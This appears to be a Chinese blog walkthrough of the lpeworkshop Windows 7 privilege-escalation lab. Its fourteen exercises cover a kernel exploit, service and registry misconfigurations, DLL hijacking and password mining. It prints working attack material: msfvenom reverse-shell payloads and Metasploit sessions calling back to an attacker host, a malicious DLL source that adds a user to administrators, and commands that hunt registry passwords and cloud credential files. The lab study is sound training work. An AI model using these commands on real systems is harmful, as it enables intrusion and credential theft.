banner
lca

lca

真正的不自由,是在自己的心中设下牢笼。

lpeworkshop提权实验 - windows

lpeworkshop 提权实验 - windows#

实验环境项目地址: https://github.com/sagishahar-zz/lpeworkshop

windows 实验的前提,需要先自己准备一个 Windows 7 (SP1) x64 Build 7601 的英文操作系统,原作者所有的实验都基于此操作系统。

1、安装完成后启动。

2、建一个拥有管理员权限的账号并登录。(在操作系统安装时,建立的用户就具有管理员权限)

3、删除操作系统上的 user 用户。

lpeworkshop 提权实验 - windows 219cfc07efe24792afd9cd9dab1b6fec/Untitled.png

4、将安装脚本(lpe_windows_setup.bat)放到可写位置,这一步主要是配置漏洞环境。

5、右键单击安装脚本(lpe_windows_setup.bat)并以管理员身份运行。

lpeworkshop 提权实验 - windows 219cfc07efe24792afd9cd9dab1b6fec/Untitled 1.png

6、重新启动虚拟机。

7、将工具拷贝至虚拟机(此时以 user 用户身份登录,user/password321),解压。Windows 练习工具(7z 存档密码:lpeworkshop)

image

lpeworkshop 提权实验 - windows 219cfc07efe24792afd9cd9dab1b6fec/Untitled 2.png

8、现在,所有设置都完成了,可以开始实验了。

#基本命令
systeminfo
hostname

#我是谁?
whoami
echo %username%

#在这台服务器上有哪些用户/用户组
net user
net localgroup

#查看某个用户拥有的权限
net user user

#网络
ipconfig /all
route print
arp -A


练习 1:内核漏洞提权#

1、打开 powershell,输入下面的命令,找到工具包中的 sherlock 脚本,通过 import-module 导入模块。

powershell -nop -ep bypass

lpeworkshop 提权实验 - windows 219cfc07efe24792afd9cd9dab1b6fec/Untitled 3.png

导入成功后,运行 Find-AllVulns。

lpeworkshop 提权实验 - windows 219cfc07efe24792afd9cd9dab1b6fec/Untitled 4.png

看到一个 TrackPopupMenu Win32k Null Pointer Dereference 漏洞,是 MS14-058 漏洞,详情如下:

Title      : TrackPopupMenu Win32k Null Pointer Dereference
MSBulletin : MS14-058
CVEID      : 2014-4113
Link       : https://www.exploit-db.com/exploits/35101/
VulnStatus : Appears Vulnerable

直接找到 MS14-058 的 exp 进行利用。

lpeworkshop 提权实验 - windows 219cfc07efe24792afd9cd9dab1b6fec/Untitled 5.png

运行 CVE-2014-4113-Exploit 里面的 Win64.exe 文件。

lpeworkshop 提权实验 - windows 219cfc07efe24792afd9cd9dab1b6fec/Untitled 6.png

也可以通过 msfconsole 的内置模块进行提权,前提是需要获取到一个 meterpreter session 模块。

msf > use exploit/windows/local/ms14_058_track_popup_menu
msf exploit(ms14_058_track_popup_menu) > show targets
      ...targets...
msf exploit(ms14_058_track_popup_menu) > set TARGET <target-id>
msf exploit(ms14_058_track_popup_menu) > show options
      ...show and set options...
msf exploit(ms14_058_track_popup_menu) > exploit

kali msfvenom 生成反弹 shell 的 payload。

msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=192.168.199.232 LPORT=4444 -e x86/shikata_ga_nai -b '\x00\x0a\xff' -i 3 -f exe -o payload.exe

并启动 msfconsole 进行监听。

# msfconsole
msf5 > use exploit/multi/handler 
msf5 exploit(multi/handler) > set lhost 192.168.199.232
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > exploit -j

生成完成后,拷贝至 win7 虚拟机,运行。

lpeworkshop 提权实验 - windows 219cfc07efe24792afd9cd9dab1b6fec/Untitled 7.png

lpeworkshop 提权实验 - windows 219cfc07efe24792afd9cd9dab1b6fec/Untitled 8.png

开始进行提权。

meterpreter > background 
[*] Backgrounding session 2...
msf5 exploit(multi/handler) > use exploit/windows/local/ms14_058_track_popup_menu 
msf5 exploit(windows/local/ms14_058_track_popup_menu) > set target 1
target => 1
msf5 exploit(windows/local/ms14_058_track_popup_menu) > set session 2
session => 2
msf5 exploit(windows/local/ms14_058_track_popup_menu) > set payload generic/shell_reverse_tcp 
payload => generic/shell_reverse_tcp
msf5 exploit(windows/local/ms14_058_track_popup_menu) > set lhost 192.168.199.232
lhost => 192.168.199.232
msf5 exploit(windows/local/ms14_058_track_popup_menu) > set lport 4455
lport => 4455
msf5 exploit(windows/local/ms14_058_track_popup_menu) > run

[*] Started reverse TCP handler on 192.168.199.232:4455 
[*] Launching notepad to host the exploit...
[+] Process 1768 launched.
[*] Reflectively injecting the exploit DLL into 1768...
[*] Injecting exploit into 1768...
[*] Exploit injected. Injecting payload into 1768...
[*] Payload injected. Executing exploit...
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Command shell session 3 opened (192.168.199.232:4455 -> 192.168.199.108:49194) at 2021-08-03 02:14:26 -0400

C:\Windows\system32>whoami
whoami
nt authority\system

实验结束。


练习 2:Services (binPath)#

首先看下当前用户所属的用户组。

lpeworkshop 提权实验 - windows 219cfc07efe24792afd9cd9dab1b6fec/Untitled 9.png

lpeworkshop 提权实验 - windows 219cfc07efe24792afd9cd9dab1b6fec/Untitled 10.png

AccessChk 的功能主要是获取用户对某个资源(包括文件,目录,注册表项,全局对象和 Windows 服务)的权限。

通过上图我们注意到当前的 user 用户拥有 SERVICE_CHANGE_CONFIG 的权限,表示当前用户拥有修改配置的权限。通过下面的命令可以查看当前用户拥有的权限。

accesschk64.exe /accepteula -uwcqv user *

lpeworkshop 提权实验 - windows 219cfc07efe24792afd9cd9dab1b6fec/Untitled 11.png

既然当前用户拥有修改配置的权限,那么就需要用到 sc 命令,sc 命令是一个管理 windows 服务的命令。

接下来就需要利用 sc 命令去配置一个 exe 作为服务启动。

sc config daclsvc binpath= "net localgroup administrators user /add"
sc start daclsvc

lpeworkshop 提权实验 - windows 219cfc07efe24792afd9cd9dab1b6fec/Untitled 12.png

lpeworkshop 提权实验 - windows 219cfc07efe24792afd9cd9dab1b6fec/Untitled 13.png


练习 3:Services (DLL Hijacking)#

dll 劫持是一种利用 windows 应用程序搜索和家在动态链接库(DLL)的方式将恶意代码注入应用程序的方法。

通过替换正常的 dll 文件,优先提高恶意 dll 文件的搜索顺序,加载恶意的 dll 文件,类似于 linux 下的环境变量,不同的加载顺序加载的内容不一样。

lpeworkshop 提权实验 - windows 219cfc07efe24792afd9cd9dab1b6fec/Untitled 14.png

C:\Program Files\DLL Hijack Service\dllhijackservice.exe

此时的 user 用户不属于管理员组。

lpeworkshop 提权实验 - windows 219cfc07efe24792afd9cd9dab1b6fec/Untitled 15.png

打开 process monitor 进程监视工具。

lpeworkshop 提权实验 - windows 219cfc07efe24792afd9cd9dab1b6fec/Untitled 16.png

搜索是否运行了 C:\Program Files\DLL Hijack Service\dllhijackservice.exe 文件,通过下面的图片可以看到并未运行。

lpeworkshop 提权实验 - windows 219cfc07efe24792afd9cd9dab1b6fec/Untitled 17.png

在 process monitor 中按 ctrl+h 快捷键,打开高亮过滤器,选择 result,输入 NAME NOT FOUND,进行查询。

此时如果双击运行 dllhijackservice.exe 文件,就会有一些高亮的参数,也就是 NAME NOT FOUND 的参数,其中有一些关于 dll 参数的内容。

lpeworkshop 提权实验 - windows 219cfc07efe24792afd9cd9dab1b6fec/Untitled 18.png

下面我们找到工具箱中的 windows_dll.c 文件。

lpeworkshop 提权实验 - windows 219cfc07efe24792afd9cd9dab1b6fec/Untitled 19.png

将 windows_dll.c 文件复制到 kali 中进行编译,windows_dll.c 内容如下:

$ cat windows_dll.c 
// For x64 compile with: x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll
// For x86 compile with: i686-w64-mingw32-gcc windows_dll.c -shared -o output.dll

#include <windows.h>

BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved) {
    if (dwReason == DLL_PROCESS_ATTACH) {
        system("cmd.exe /k whoami > C:\\Windows\\Temp\\dll.txt");
        ExitProcess(0);
    }
    return TRUE;
}

修改为:

$ cat windows_dll.c 
// For x64 compile with: x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll
// For x86 compile with: i686-w64-mingw32-gcc windows_dll.c -shared -o output.dll

#include <windows.h>

BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved) {
    if (dwReason == DLL_PROCESS_ATTACH) {
        system("cmd.exe /k net localgroup administrators user /add");
        ExitProcess(0);
    }
    return TRUE;
}

通过下述命令进行编译:

x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll

开始编译报错如下,说明缺少模块,直接安装即可:

lpeworkshop 提权实验 - windows 219cfc07efe24792afd9cd9dab1b6fec/Untitled 20.png

解决报错:

sudo apt-get install gcc-mingw-w64-x86-64

lpeworkshop 提权实验 - windows 219cfc07efe24792afd9cd9dab1b6fec/Untitled 21.png

将生成的 dll 文件拷贝至 c:/tmp 目录下,并查看环境变量,可以发现 c:/tmp 目录。

lpeworkshop 提权实验 - windows 219cfc07efe24792afd9cd9dab1b6fec/Untitled 22.png

将 dll 文件命名为 hijackme.dll,为什么要命名成 hijackme.dll 呢?这是因为 dllhijackservice.exe 程序在运行后,会加载 hijackmd.dll 文件,dll 的加载顺序如下:

lpeworkshop 提权实验 - windows 219cfc07efe24792afd9cd9dab1b6fec/Untitled 23.png

打开 cmd 窗口,输入如下命令:

sc stop dllsvc
sc start dllsvc

lpeworkshop 提权实验 - windows 219cfc07efe24792afd9cd9dab1b6fec/Untitled 24.png

此时,当前用户 user 已在管理员组中。

浅谈 DLL 劫持

sc.exe 服务控制管理命令详解

利用 dll 劫持实现免杀与维权


练习 4:Services (Unquoted Path)#

sc qc unquotedsvc

lpeworkshop 提权实验 - windows 219cfc07efe24792afd9cd9dab1b6fec/Untitled 25.png

accesschk64.exe "C:\Program Files\Unquoted Path Service\"

lpeworkshop 提权实验 - windows 219cfc07efe24792afd9cd9dab1b6fec/Untitled 26.png

net user user

lpeworkshop 提权实验 - windows 219cfc07efe24792afd9cd9dab1b6fec/Untitled 27.png

msfvenom -p windows/exec CMD='net localgroup administrators user /add' -f exe-service -o common.exe

lpeworkshop 提权实验 - windows 219cfc07efe24792afd9cd9dab1b6fec/Untitled 28.png

lpeworkshop 提权实验 - windows 219cfc07efe24792afd9cd9dab1b6fec/Untitled 29.png

sc start unquotedsvc

lpeworkshop 提权实验 - windows 219cfc07efe24792afd9cd9dab1b6fec/Untitled 30.png

练习 5:Services (Registry)#

NT Authority\SYSTEM 又称 LocalSystem 帐户是内置的 Windows 帐户。 它是 Windows 本地实例上功能最强大的帐户(比任何管理员帐户都更强大)。 大多数系统级别(Windows Services)服务和其他一些第三方服务都在帐户中运行

NT Authority \ SYSTEM 是 Builtin\Administrator 是系统管理员之一

NT AUTHORITY\INTERACTIVE:交互式用户是当前登录到运行 COM 服务器的计算机的用户。 如果将身份设置为交互式用户,并且服务器将其类工厂注册为多用途,则所有客户端都将使用服务器的同一实例。

Get-Acl -Path hklm:\System\CurrentControlSet\services\regsvc | fl

lpeworkshop 提权实验 - windows 219cfc07efe24792afd9cd9dab1b6fec/Untitled 31.png

生成恶意的伪造 payload,找到工具箱中的 source 目录下 windows_service.c 文件,拷贝至 kali 进行编译。

lpeworkshop 提权实验 - windows 219cfc07efe24792afd9cd9dab1b6fec/Untitled 32.png

修改 windows_service.c 的 system 中的命令,如下:

lpeworkshop 提权实验 - windows 219cfc07efe24792afd9cd9dab1b6fec/Untitled 33.png

开始进行编译

x86_64-w64-mingw32-gcc windows_service.c -o regi.exe

lpeworkshop 提权实验 - windows 219cfc07efe24792afd9cd9dab1b6fec/Untitled 34.png

将生成的 regi.exe 文件拷贝至虚拟机 c:\Temp 目录下,添加注册表信息。

> reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG_EXPAND_SZ /d c:\temp\regi.exe /f

用 sc.exe 开启服务。

sc.exe start regsvc

lpeworkshop 提权实验 - windows 219cfc07efe24792afd9cd9dab1b6fec/Untitled 35.png

练习 6:Services (Executable File)#

漏洞利用:

sc create lol binPath= "c:\executable.exe"
sc start lol

实际案例:

C:\Users\user.liangcheng-PC\Desktop\tools - lpeworkshop\Tools\Accesschk>accesschk64.exe -wvu "c:\Pro
gram Files\File Permissions Service"

lpeworkshop 提权实验 - windows 219cfc07efe24792afd9cd9dab1b6fec/Untitled 36.png

sc qc filepermsvc

lpeworkshop 提权实验 - windows 219cfc07efe24792afd9cd9dab1b6fec/Untitled 37.png

漏洞利用,拷贝练习 4 中编译的 exe 文件,复制到 c:\Pro
gram Files\File Permissions Service 目录下。

cp /y C:\Temp\regi.exe 'C:\Program Files\File Permissions Service\filepermservice.exe'

开启服务

sc.exe start filepermsvc

lpeworkshop 提权实验 - windows 219cfc07efe24792afd9cd9dab1b6fec/Untitled 38.png

练习 7:Registry (Autorun)#

通过 autoruns 工具寻找开启启动项。

lpeworkshop 提权实验 - windows 219cfc07efe24792afd9cd9dab1b6fec/Untitled 39.png

启动项目录下的文件具有任意读写的权限。

>accesschk64.exe "c:\Program Files\Autorun Program\program.exe"

lpeworkshop 提权实验 - windows 219cfc07efe24792afd9cd9dab1b6fec/Untitled 40.png

>accesschk64.exe -wvu "c:\Program Files\Autorun Program\program.exe"

lpeworkshop 提权实验 - windows 219cfc07efe24792afd9cd9dab1b6fec/Untitled 41.png

切换到 kali 攻击机器。

生成 payload

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.199.232 -f exe -o program.exe

lpeworkshop 提权实验 - windows 219cfc07efe24792afd9cd9dab1b6fec/Untitled 42.png

将 payload 拷贝至虚拟机的自启动目录下。

lpeworkshop 提权实验 - windows 219cfc07efe24792afd9cd9dab1b6fec/Untitled 43.png

注销虚拟机。

logoff

当下次管理员登录的时候,自启动程序就会运行,msfconsole 即可监听到会话。

lpeworkshop 提权实验 - windows 219cfc07efe24792afd9cd9dab1b6fec/Untitled 44.png

lpeworkshop 提权实验 - windows 219cfc07efe24792afd9cd9dab1b6fec/Untitled 45.png

练习 8:Registry (AlwaysInstallElevated)#

发现漏洞

reg query HKLM\Software\Policies\Microsoft\Windows\Installer

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer

AlwaysInstallElevated 是一项功能,可为 Windows 计算机上的所有用户(特别是低特权用户)提供运行任何具有提升特权的 MSI 文件的功能。 MSI 是基于 Microsoft 的安装程序软件包文件格式,用于安装,存储和删除程序。

lpeworkshop 提权实验 - windows 219cfc07efe24792afd9cd9dab1b6fec/Untitled 46.png

通过 msf 的模块进行提权,首先先获取一个普通的 meterpreter。

lpeworkshop 提权实验 - windows 219cfc07efe24792afd9cd9dab1b6fec/Untitled 47.png

提权。

lpeworkshop 提权实验 - windows 219cfc07efe24792afd9cd9dab1b6fec/Untitled 48.png

练习 9:Password Mining (Memory)#

创建内存 dump 文件

lpeworkshop 提权实验 - windows 219cfc07efe24792afd9cd9dab1b6fec/Untitled 49.png

lpeworkshop 提权实验 - windows 219cfc07efe24792afd9cd9dab1b6fec/Untitled 50.png

strings iexplore2.DMP  | grep "Authorization: Basic"
echo "xxxx==" | base64 -d

练习 10:Password Mining (Registry)#

有很多配置信息会直接写在注册表中,通过注册表查找敏感信息。

# VNC
reg query "HKCU\Software\ORL\WinVNC3\Password"

reg query HKCU\Software\TightVNC\Server /v password
reg query HKCU\Software\TightVNC\Server /v passwordViewOnly

# Windows autologin
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"

# SNMP Paramters
reg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP"

# Putty
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"

# Search for password in registry
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s

Untitled

putty

reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"

Untitled

reg query "HKCU\Software\SimonTatham\PuTTY\Sessions\BWP123F42" /v ProxyPassword

Untitled

vnc

C:\>"c:\Users\user.liangcheng-PC\Desktop\tools - lpeworkshop\Tools\vncpwd\vncpwd.exe" EC84DB8BE7861E
4D

Untitled

练习 11:Password Mining (Configuration Files)#

#在txt、xml、ini文件中查找password
findstr /si password *.txt
findstr /si password *.xml
findstr /si password *.ini

#在配置文件中寻找下面的字符串
dir /s *pass* == *cred* == *vnc* == *.config*

# 在所有文件中寻找含有password字段的文件
findstr /spin "password" *.*
findstr /spin "password" *.*

dir /b /a /s c:\ > c:\temp\c-dirs.txt
type c:\temp\c-dirs.txt | findstr /i passw(vnc,ssh...)

进入到相应的目录,输入上述命令。

findstr /si password *.xml > c:\Temp\1.txt

Untitled

macfee 杀毒软件的密码,是一串字符,这串字符可以使用工具去解密。

以下文件中也存在相关敏感信息:

C:\Windows\sysprep\sysprep.xml
C:\Windows\sysprep\sysprep.inf
C:\Windows\sysprep.inf
C:\Windows\Panther\Unattended.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\System32\Sysprep\unattend.xml
C:\Windows\System32\Sysprep\unattended.xml
C:\unattend.txt
C:\unattend.inf

# 搜索这些文件
dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul

# 其他一些敏感文件
VARIABLES.DAT
setupinfo
setupinfo.bak
web.config
SiteList.xml
.aws\credentials
.azure\accessTokens.json
.azure\azureProfile.json
gcloud\credentials.db
gcloud\legacy_credentials
gcloud\access_tokens.db

dir c:\*vnc.ini /s /b
dir c:\*ultravnc.ini /s /b 
dir c:\ /s /b | findstr /si *vnc.ini

Untitled

Untitled

练习 12:Hot Potato#

查看 user 用户信息,不再管理员组.

Untitled

Untitled

powershell -ep bypass -nop
Import-Module .\Tater.ps1
PS C:\Users\user.liangcheng-PC\Desktop\tools - lpeworkshop\Tools\Tater> Invoke-Tater -Trigger 1 -Com
mand "net localgroup administrators user /add"

Untitled

Untitled

练习 13:Scheduled Tasks (Missing Binary)#

任务计划

lpeworkshop 提权实验 - windows 219cfc07efe24792afd9cd9dab1b6fec/Untitled 62.png

kali 生成 payload:

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.199.232 -f exe -o program.exe

拷贝至 c:\Missing Scheduled Binary\ 目录下。

lpeworkshop 提权实验 - windows 219cfc07efe24792afd9cd9dab1b6fec/Untitled 63.png

练习 14:Startup Applications#

Startup 目录是 windows 开启自启动文件夹,只要将恶意文件放到这个目录,操作系统启动时会自动启动 Startup 的程序。

查看 user 用户的权限

Untitled

icacls "c:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"

Untitled

Untitled

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.29.133 -f exe -o x.exe
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup

Untitled

退出 windows 重新登录,msf 就可以获取到会话。

logoff

这一系列实验都是关于在 windows 下面的提权实验,通过这些实验,可以理解在 windows 下怎样去提升权限并获取一些敏感信息,如帐号密码等,windows 的提权很多都是利用操作系统层面的漏洞提权,平常用 CS 的插件提权比较多

加载中...
此文章数据所有权由区块链加密技术和智能合约保障仅归创作者所有。